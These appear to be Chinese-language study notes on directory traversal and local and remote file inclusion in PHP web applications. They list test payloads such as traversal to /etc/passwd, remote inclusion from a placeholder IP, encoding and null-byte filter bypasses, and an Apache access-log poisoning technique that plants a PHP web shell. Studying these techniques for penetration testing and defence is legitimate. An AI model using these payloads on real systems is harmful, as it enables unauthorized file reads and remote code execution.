目录遍历漏洞
与目录浏览漏洞不同
目录权限设置不严 操作系统下内部的文件
文件包含漏洞
脚本语言文件包含函数,可以把别的文件包含 可能包含本地文件(LFI) 可能远程文件包含(RFI)包含到web application里
远程文件包含漏洞
/etc/php5/cgi/php.ini
allow_url_include=on
/etc/init.d/apache2
特征
一个变量的值是一个页面
?page=a.php ?home=b.html ?file=content
查看文件
经典测试方法(替换变量)
. 当前目录
.. 当前目录的父目录
本地文件包含
目录遍历
?page=../../../../../../../../../../etc/passwd
文件包含?page-/etc/passwd
?page=file:///etc/passwd
?page=main.cgi
远程文件包含
?page=http://1.1.1.1/1.php
编码绕过字符过滤
"."
"%00" 空字符url编码,php遇到%00之后后面不看
"#"
使用多种编码尝试
不同操作系统的路径特征字符
类unix系统
根目录 /
目录层级分隔 /
windows(不一定)
盘符根c:\
目录分级\或者/
编码 base64 ascii unicode(字符编码很多实现方法 utf-8等)编码应用很广
url编码、双层url编码
可以多层编码但是要能解得出来
其他系统路径可能用到的
file.txt...
file.txt<多个空格>
file.txt<<<>>>><
./././file.txt
none/../file.txt 进图一个不存在的目录,再退出,再查看(目录可以不存在)
UNC路径
\\1.1.1.1\path\to\file.txt
特殊情况
在url地址看不出来
根据cookie信息,读取文件
启示 变量都要尝试
本地文件包含
代码执行
经典利用:
前提条件是www,data账号要对日志文件有访问权限
var/log/apache2/access.log
利用访问日志执行代码
<?php echo shell_exec($_GET['cmd'])
?>
远程文件包含
=http://1.1.1.1/a.php
重复敏感词,绕过单次过滤(经典)
hthttp://tp://